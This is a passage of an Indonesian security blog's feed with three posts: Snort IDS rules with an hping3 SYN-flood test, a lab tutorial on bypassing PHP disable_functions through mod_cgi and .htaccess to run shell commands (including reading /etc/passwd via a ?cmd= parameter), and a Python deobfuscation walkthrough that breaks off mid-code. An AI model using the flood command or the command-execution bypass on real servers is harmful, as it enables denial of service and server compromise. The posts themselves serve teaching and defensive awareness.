<h3 class="wp-block-heading">6. <strong>Rule Options</strong></h3>



<p>Dibungkus dalam tanda kurung <code>()</code> dan berisi kriteria tambahan serta tindakan saat aturan cocok. Beberapa elemen dalam rule options:</p>



<ul class="wp-block-list">
<li><strong>msg</strong>: Pesan yang ditampilkan saat aturan cocok.<br>Contoh: <code>msg:"Possible SQL Injection";</code></li>



<li><strong>sid</strong>: ID unik aturan.<br>Contoh: <code>sid:1000001;</code></li>



<li><strong>rev</strong>: Revisi aturan.<br>Contoh: <code>rev:1;</code></li>



<li><strong>content</strong>: String konten yang dicari dalam paket.<br>Contoh: <code>content:"SELECT";</code></li>



<li><strong>threshold</strong>: Mengontrol frekuensi notifikasi.<br>Contoh: <code>threshold:type limit, track by_dst, count 1, seconds 60;</code></li>
</ul>



<p>Contoh aturan snort untuk mendeteksi permintaan GET dan POST:</p>



<figure class="wp-block-table is-style-stripes"><table class="has-fixed-layout"><thead><tr><th>REQ</th><th>Rule</th></tr></thead><tbody><tr><td>GET</td><td>alert tcp any any -&gt; any 80 (msg:&#8221;GET Request Detected&#8221;; content:&#8221;GET&#8221;; http_method; sid:1000012;)</td></tr><tr><td>POST</td><td>alert tcp any any -&gt; any 80 (msg:&#8221;POST Requet Detected&#8221;; content:&#8221;POST&#8221;; http_method; sid:1000013;)</td></tr></tbody></table></figure>



<p>Penjelasan aturan GET</p>



<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-2 wp-block-group-is-layout-flex">
<p><strong>Action</strong>:<br><code>alert</code> → Menghasilkan notifikasi saat aturan cocok.</p>



<p><strong>Protocol</strong>:<br><code>tcp</code> → Aturan ini berlaku untuk lalu lintas protokol TCP.</p>



<p><strong>Address (Sumber dan Tujuan)</strong>:<br><code>any any</code> → Aturan berlaku untuk semua alamat IP dan port sebagai sumber.<br><code>-&gt;</code> → Lalu lintas diarahkan ke alamat tujuan.</p>



<p><strong>Address Tujuan</strong>:<br><code>any 80</code> → Aturan berlaku untuk semua alamat tujuan pada port 80 (umumnya digunakan untuk HTTP).</p>



<p><strong>Rule Options</strong>:</p>



<ul class="wp-block-list">
<li><code>msg:"GET Request Detected";</code><br>Menampilkan pesan <strong>&#8220;GET Request Detected&#8221;</strong> saat aturan cocok.</li>



<li><code>content:"GET";</code><br>Mendeteksi string <strong>&#8220;GET&#8221;</strong> dalam payload.</li>



<li><code>http_method;</code><br>Memastikan string <strong>&#8220;GET&#8221;</strong> adalah metode HTTP (bukan string sembarangan dalam data).</li>



<li><code>sid:1000012;</code><br>Memberikan <strong>Snort ID (sid)</strong> unik untuk aturan ini.</li>
</ul>
</div>



<p>Penjelasan aturan POST</p>



<div class="wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-3 wp-block-group-is-layout-flex">
<p><strong>Action</strong>:<br><code>alert</code> → Menghasilkan notifikasi saat aturan cocok.</p>



<p><strong>Protocol</strong>:<br><code>tcp</code> → Aturan ini berlaku untuk lalu lintas protokol TCP.</p>



<p><strong>Address (Sumber dan Tujuan)</strong>:<br><code>any any</code> → Aturan berlaku untuk semua alamat IP dan port sebagai sumber.<br><code>-&gt;</code> → Lalu lintas diarahkan ke alamat tujuan.</p>



<p><strong>Address Tujuan</strong>:<br><code>any 80</code> → Aturan berlaku untuk semua alamat tujuan pada port 80 (umumnya digunakan untuk HTTP).</p>



<p><strong>Rule Options</strong>:</p>



<ul class="wp-block-list">
<li><code>msg:"POST Request Detected";</code><br>Menampilkan pesan <strong>&#8220;POST Request Detected&#8221;</strong> saat aturan cocok.</li>



<li><code>content:"POST";</code><br>Mendeteksi string <strong>&#8220;POST&#8221;</strong> dalam payload.</li>



<li><code>http_method;</code><br>Memastikan string <strong>&#8220;POST&#8221;</strong> adalah metode HTTP.</li>



<li><code>sid:1000013;</code><br>Memberikan <strong>Snort ID (sid)</strong> unik untuk aturan ini.</li>
</ul>
</div>



<p class="has-large-font-size"><strong>Deteksi Serangan DDOS</strong></p>



<p>buka file /etc/snort/rules/local.rules untuk membuat rule sendiri atau kustom:</p>



<p class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><code>alert tcp any any -> $HOME_NET 80 (flags: S; msg:"Serangan DDOS"; detection_filter: track by_dst, count 10000, seconds 60; sid:1000002;)</code></p>



<p>Penjelasan rule:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="724" height="580" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image.png" alt="" class="wp-image-450" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image.png 724w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-300x240.png 300w" sizes="auto, (max-width: 724px) 100vw, 724px" /></figure>



<p>setelah rule di tulis, jalan service snort dengan perintah <code><strong>systemctl start snort</strong></code> kemudian jalankan snort di latar belakang <code><strong>snort -c /etc/snort/snort.conf -l /var/log/snort/ -K ascii -D</strong></code>. Setelah itu log kita bisa watch file alert nya di <strong>/var/log/snort/alert</strong>. Jika ingin melihat secara real-time gunakan perintah beritkut <code><strong>watch -n 1 tail /var/log/snort/alert</strong></code>.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="579" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-1-1024x579.png" alt="" class="wp-image-451" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-1-1024x579.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-1-300x170.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-1-768x434.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-1.png 1107w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="has-large-font-size"><strong>Uji Coba Serangan Deteksi DDOS</strong></p>



<p>gunakan hping:</p>



<p class="has-very-light-gray-to-cyan-bluish-gray-gradient-background has-background"><code><strong>hping3 -S -p 80 -d 120 --flood &lt;IP target></strong></code></p>



<p>Penjelasan perintah:</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="724" height="241" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-2.png" alt="" class="wp-image-452" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-2.png 724w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-2-300x100.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-2-720x241.png 720w" sizes="auto, (max-width: 724px) 100vw, 724px" /></figure>



<p>setelah perintah hping di jalankan, maka pada monitor file alert, akan seperti ini:</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="256" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-3-1024x256.png" alt="" class="wp-image-453" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-3-1024x256.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-3-300x75.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-3-768x192.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-3.png 1102w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>dari file alert ini, bisa di integrasikan dengan bot telegram untuk notifikasi serangan ke admin. seperti ini contohnya:<br></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="777" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-4-1024x777.png" alt="" class="wp-image-454" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-4-1024x777.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-4-300x228.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-4-768x583.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/image-4.png 1244w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Sekian terima kasih sudah membaca sampai akhir, semoga ilmu nya bermanfaat untuk keperluan mu <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/26/implementasi-snort-pada-real-publik-server/">Implementasi Snort Pada Real Publik Server</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/26/implementasi-snort-pada-real-publik-server/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bypass disable function using mod_cgi</title>
		<link>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Mon, 09 Dec 2024 08:32:14 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[pentesting]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=428</guid>

					<description><![CDATA[<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti system, shell_exec, exec, eval dan lainnya Pada banyak [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Kadangkala pada saat melakukan web hacking dan mendapatkan foothold / initial access pada suatu server kita di restriksi dengan proteksi PHP yang disebut disable function, disable function sendiri bisa dikatakan fitur dan proteksi untuk melakukan disable dan menonaktifkan fungsi fungsi tertentu di php yang dianggap berbahaya seperti <em>system</em>, <em>shell_exec</em>, <em>exec</em>, <em>eval</em> dan lainnya</p>



<p>Pada banyak server, command syscall yang digunakan untuk melakukan eksekusi bash dan shell script di non-aktifkan untuk keperluan keamanan disini bertujuan agar attacker tidak dapat melakukan compromised lebih jauh pada target seperti melakukan <em>privilege escalation</em>, <em>pivoting</em>, <em>persistence </em>maupun <em>post exploitation</em>.</p>



<p>Jadi disini aku akan membahas salah satu teknik yang digunakan untuk melakukan bypass disable function yang memanfaatkan module cgi pada webserver apache dan yang perlu digaris bawahi untuk melakukan bypass menggunakan teknik ini harus ada requirement atau kondisi agar berhasil yaitu mod_cgi perlu diaktifkan dan kedua direktif AllowOverride pada konfigurasi apache harus aktif yang bertujuan agar kita bisa melakukan overwrite konfigurasi menggunakan .htaccess file.</p>



<p>Pertama setup lab pada vps atau di local untuk pengujian dan testing, selanjutnya jelas kita perlu install webserver apache dan lakukan setting disable function, karena case kali ini kita menggunakan php 8.3 jadi untuk php.ini kita perlu setting pada directory <em><strong>/etc/php/8.3/apache2</strong>/<strong>php.ini</strong></em></p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="970" height="477" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png" alt="" class="wp-image-429" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811.png 970w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-300x148.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140811-768x378.png 768w" sizes="auto, (max-width: 970px) 100vw, 970px" /></figure>



<p>kemudian kita perlu install cgi module pada apache lalu aktifkan menggunakan command a2enmod</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="1025" height="207" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png" alt="" class="wp-image-430" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934.png 1025w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-300x61.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-140934-768x155.png 768w" sizes="auto, (max-width: 1025px) 100vw, 1025px" /></figure>



<p>selanjutnya jangan lupa kita set direktif AllowOverride ke All hal ini bertujuan agar file .htaccess bisa ter-eksekusi</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="910" height="545" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png" alt="" class="wp-image-432" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe.png 910w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-300x180.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/directibe-768x460.png 768w" sizes="auto, (max-width: 910px) 100vw, 910px" /></figure>



<p>Setelah itu restart apache lalu kita perlu melihat dan verifikasi jika module cgi / mod_cgi dan disable function berhasil di konfigurasi, caranya sederhana cukup buat file php dan tambahkan syntax berikut:</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-901ba5ad6a255b2f17f510fc19cd1ada"><code>&lt;?php
echo "disable function: " . ini_get("disable_functions");
echo "&lt;br>&lt;br>";
echo "apache module: &lt;br>";
foreach(apache_get_modules() as $modules){
    echo $modules . "&lt;br>";
}

?></code></pre>



<p>Dan jika kita buka via browser</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="736" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png" alt="" class="wp-image-433" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-1024x736.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-300x216.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942-768x552.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-141942.png 1345w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini menunjukkan kita berhasil melakukan konfigurasi yang dimana kita tidak akan bisa melakukan eksekusi fungsi syscall karena semua fungsi syscall berbahaya kita lakukan disable dan kita akan manfaatkan mod_cgi ini untuk melakukan bypass disable function. </p>



<p>Sekilas tentang mod_cgi, jadi mod_cgi itu merupakan module cgi pada webserver apache yang memungkinkan webserver untuk melakukan handle dan eksekusi suatu CGI script yang dimana CGI sendiri merupakan protocol yang menyediakan cara untuk melakukan eksekusi script melalui request http contoh sederhananya kita bisa melakukan eksekusi pada file perl(.pl), python(.py) maupun bash(.sh) langsung dari web request atau browser.</p>



<p>Langkah awal kita perlu membuat directory baru dan menambahkan htaccess agar suatu extension dikenali dengan CGI script, simple-nya kita akan membuat bash script agar bisa langsung melakukan eksekusi command. Disini kita hanya perlu membuat htaccess dengan 2 direktif </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-ac845446031e70b280c87e6a7f870c91"><code>Options +ExecCGI
AddHandler cgi-script .bhitech</code></pre>



<p>Direktif pertama yaitu <strong><em>Options +ExecCGI</em></strong> yang memberitahu webserver untuk mengizinkan eksekusi CGI script lalu direcktif kedua webserver akan melakukan eksekusi jika ditemukan extension .bhitech dan untuk extension opsional kita bisa menambahkan apapun misalkan .cgi, .test, .hijack, .bypass dan lain lain ya</p>



<p>Langkah kedua kita perlu membuat bash script dengan extension .bhitech sederhana saja kita perlu shebang, content type dan command apa yang akan dijalankan</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-25e724b5c3520c72467ee7b2c7fbcc0b"><code>#!/bin/bash
echo -ne "Content-type: text/html\n\n"
id</code></pre>



<p>Disini kita akan menjalankan command id untuk melihat id dan user kita sekarang jadi pada directory akan menjadi 2 file yaitu htaccess dan cgi script seperti ini </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="835" height="265" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png" alt="" class="wp-image-436" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230.png 835w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-300x95.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145230-768x244.png 768w" sizes="auto, (max-width: 835px) 100vw, 835px" /></figure>



<p>Lalu jika kita open via browser pada file script.bhitech</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="362" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png" alt="" class="wp-image-437" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1024x362.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-300x106.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-768x271.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414-1536x543.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145414.png 1670w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat command id tereksekusi yang berarti kita berhasil melakukan bypass disable function dan untuk command lain mudah saja kita ganti pada file script.bhitech misalkan uname -a<br></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="248" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png" alt="" class="wp-image-439" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1024x248.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-300x73.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-768x186.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745-1536x372.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-145745.png 1597w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Yang akan menampilkan informasi tentang kernel pada server. mungkin akan ribet jika harus modifikasi file untuk melakukan eksekusi command lain jadi disini aku membuat tools untuk melakukan automasi agar lebih mudah dan dinamis </p>



<p><a href="https://github.com/ibrahimzx/mod-cgi-disable-function">https://github.com/ibrahimzx/mod-cgi-disable-function</a></p>



<p>Untuk menggunakan cukup mudah dengan hanya menambahkan GET parameter ?cmd pada url </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="473" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png" alt="" class="wp-image-442" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-1024x473.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459-768x355.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-09-151459.png 1250w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Disini misalkan ingin membaca /etc/passwd tinggal tambahkan parameter <em><strong>?cmd=cat /etc/passwd</strong></em> dan command akan dieksekusi serta ditampilkan pada browser </p>



<p><strong><em>Penutup</em></strong></p>



<p>Teknik diatas merupakan salah satu dari sekian banyak cara untuk melakukan bypass pada disable function, disini agar pembaca lebih aware dengan tidak hanya mengandalkan disable function dan menganggap itu aman bahkan jika mod_cgi tidak diaktifkan attacker bisa memanfaatkan fungsi mail dengan <em><strong>LD_PRELOAD </strong></em>atau pada webserver <strong><em>nginx </em></strong>bisa dengan memanfaatkan <em><strong>php-fpm</strong></em> dan protocol gopher untuk mencapai eksekusi command. Ada juga teknik yang melakukan exploiation pada php itu sendiri dengan memanfaakan beberapa bug PHP yang sudah di publish pada <a href="https://bugs.php.net/">https://bugs.php.net/</a> seperti melakukan poisoning process dan menulis data berbahaya pada memory. Oke mungkin cukup sekian artikel kali ini dan semoga bermanfaat.</p>



<p><em>&#8220;Tidak ada akhir untuk pendidikan. Bukan berarti Anda membaca buku, lulus ujian, dan menyelesaikan pendidikan. Seluruh kehidupan, dari saat Anda lahir hingga saat Anda mati, adalah proses pembelajaran.&#8221;</em> <strong>&#8211; Jiddu Krishnamurti</strong></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/">Bypass disable function using mod_cgi</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/12/09/bypass-disable-function-using-mod_cgi/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Python reverse engineering</title>
		<link>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/</link>
					<comments>https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Fri, 06 Dec 2024 11:18:14 +0000</pubDate>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[technology]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=409</guid>

					<description><![CDATA[<p>Python merupakan suatu scripting language atau bahasa scripting karena sifatnya yang ringan biasanya digunakan untuk tujuan automation, exploit development, pengembangan tools bahkan ada juga web apps yang memakai python dengan framework seperti flask maupun django. Karena mudah dipelajari dan hampir compatible di semua platform, python banyak digunakan mulai dari programmer hingga pentester dan pada topik [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/12/06/python-reverse-engineering/">Python reverse engineering</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Python merupakan suatu scripting language atau bahasa scripting karena sifatnya yang ringan biasanya digunakan untuk tujuan automation, exploit development, pengembangan tools bahkan ada juga web apps yang memakai python dengan framework seperti flask maupun django. </p>



<p>Karena mudah dipelajari dan hampir compatible di semua platform, python banyak digunakan mulai dari programmer hingga pentester dan pada topik kali ini kita akan membahas bagaimana melakukan reverse engineering pada python karena biasanya programmer melakukan semacam teknik packing pada source code seperti melakukan obfuscate, compile serta converting kedalam bytecode.</p>



<p>Hal yang perlu diketahui disini beberapa program python pada banyak kasus tidak bisa dikembalikan kedalam source code aslinya jika programmer melakukan compile dan serialization menjadi bytecode seperti menggunakan marshal, pyarmor ataupun menjadikannya suatu executable file tapi jika programmer hanya melakukan obfuscate pada code menggunakan fungsi semacam eval, lambda, zlib, exec besar kemungkinan kita masih bisa mendapatkan source code asli pada program.</p>



<p>Kita bisa contohkan dengan program sederhana </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-c7a562dc60896b4e6a51410c0e5e6ae6"><code>import codecs

def validation(input):
        valid_input = codecs.decode("ouvarxn-grpu1336", "rot-13")
        if input == valid_input:
                return True


        return False


print("Enter valid input: ", end="")
input_user = input()

if validation(input_user):
        print("Input correct!!")
else:
        print("Input incorrect no have access!!")</code></pre>



<p>Scriptnya sangat sederhana dimana terdapat satu function untuk melakukan validasi input dengan string yang sudah dilakukan substitusi menggunakan ROT-13 lalu setelah di obfuscate menjadi seperti ini :</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-c1d6e1166bef409721d8c06c38086437"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));exec((_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe'))</code></pre>



<p>Dan jika kita run keduanya sama sama menampilkan output yang sama dan program juga berjalan dengan benar hanya saja pada code obfuscate kita tidak mengerti fungsi apa dan seperti apa source code didalamnya karena sudah dilakukan encoding dengan zlib dan base64.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="239" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-1024x239.png" alt="" class="wp-image-415" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-1024x239.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-300x70.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237-768x180.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160237.png 1330w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jadi mudah saja untuk melakukan deobfuscate kita tinggal me-replace fungsi<em> exec()</em> dengan <em>print()</em> karena kita tau jika fungsi exec() digunakan untuk melakukan eksekusi source code sedangkan fungsi print() digunakan untuk menampilkan output ke layar </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-a3ead5281c2a32cc7a07f5b6f23179c8"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));print((_)(b'A+pAW8w/+9cxY35EeyFVcLbyqDKGpUOanCFCUVVwGWItIYh9LzSSfRhole9RY8NVAqm0Bah4cir/PYFOiiCVIi1GYChx1LLEryJr+r3w0YzDOW0X8wGWYV90lCZwxIi5r4DAhED74pv6ZfYp7jf3tX4rqiVTMgCpUKa7CWGdZ0xV2dom1pnQNOz+Uk9uDlDPVEkizxnF4pDe1NnS9rWKmbls9A3Ho+wyR66EjIz3Qm4sckZDEMgKEIjogXq07OlXac8e8DY9HHOVzSQ5tXx5M8GZxa3nAx41zRazZRm2UPgh7ZpwocDx6/uQ05I03N63GPjsmpXjCZ/kHtbPvtGe1jWfqZf+tNkqC3e9Yy8OYJIh85XaZnesf7xZmjskHUtcJNkebJ5XA08w2Ptm/hHMbot288OWyQrTNR2ZOOXC+sSIa1wRL7YdNFAWUSd97hoc5Z7Am26D9Lm+wN4moDKJOXM639h0v39+3y2iBd3s6nvx1ZMJ7apc0LVYh6OSxTBG6VbOPDNAAAkQ2udwFwJe'))</code></pre>



<p>Disini kita ubah exec() dengan print() lalu jika kita jalankan</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="167" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-1024x167.png" alt="" class="wp-image-416" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-1024x167.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-300x49.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905-768x126.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/12/Screenshot-2024-12-06-160905.png 1346w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>terlihat menampilkan output tetapi output masih menunjukkan code yang masih ter-obfuscate dan bisa kita asumsikan jika obfuscate pada program menggunakan double encoding dan caranya untuk mendapatkan source code aslinya dengan copy ouput dan kita buat file python baru lalu ubah exec() menjadi print() jalankan dan jika belum menampilkan code asli ulangi hingga menemukan source code aslinya.</p>



<p>Cara cepatnya lebih baik kita membuat script automation decoding agar tidak perlu repot repot melakukan decoding</p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-3d0fe4c96b5ba1a82c304db288341f6b"><code>_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__&#91;::-1]));


